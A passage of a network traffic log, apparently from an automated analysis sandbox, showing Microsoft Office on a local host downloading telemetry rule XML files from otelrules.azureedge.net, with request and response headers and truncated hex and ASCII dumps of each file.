2024-11-18 19:21:43 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:43 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c6213e4b-c01e-0014-58b2-37a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192143Z-164f84587bfsqsthhC1DFWh630000000058000000000s1en x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:43 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:43 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:43 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:43 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a94ee65e-c01e-007a-7daf-36b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192143Z-16547b76f7ff9zf4hC1DFW2pfc00000003xg000000000cbr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:43 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:43 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:43 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:43 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: fffac850-701e-0098-3309-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192143Z-16547b76f7f6nr89hC1DFWz7ug00000002m0000000009fte x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:43 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:43 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:43 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:43 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: d8d0956f-c01e-008e-627d-377381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192143Z-164f84587bftbpb6hC1DFWm4kg000000052g000000003wxb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:43 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:43 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:43 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:43 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: bbb23919-f01e-005d-46d2-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192143Z-1866b5c5fbbnjgfwhC1DFW3usc00000001g000000000cp56 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:43 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:44 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:44 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:44 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 205a385d-e01e-000c-77b1-378e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192144Z-164f84587bfsgfx9hC1DFWw1as000000063000000000g2kw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:44 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:44 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:44 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:44 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 90e9dbbe-d01e-0028-1506-377896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192144Z-164f84587bf5rpzqhC1DFWmra8000000068000000000ftns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:44 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:44 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:44 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:44 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 10622547-201e-0085-529f-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192144Z-1866b5c5fbbqmbqjhC1DFWwgvc00000005u000000000cnqn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:44 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:44 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:44 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:44 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 56128767-e01e-0071-6e9b-3808e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192144Z-16547b76f7ff9zf4hC1DFW2pfc00000003r000000000waav x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:44 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:44 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:44 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:44 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 752b16b4-801e-0067-02c3-36fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192144Z-164f84587bfr8hdmhC1DFWt5nc00000004d000000000pwed x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:44 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:44 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:45 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:45 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e065a5a0-f01e-0052-23fc-379224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192145Z-164f84587bfsqsthhC1DFWh63000000005cg000000007dfq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:45 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:44 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:45 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:45 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: bc51cea9-201e-003f-04b1-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192145Z-164f84587bfsgfx9hC1DFWw1as000000061g00000000p37c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:45 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" 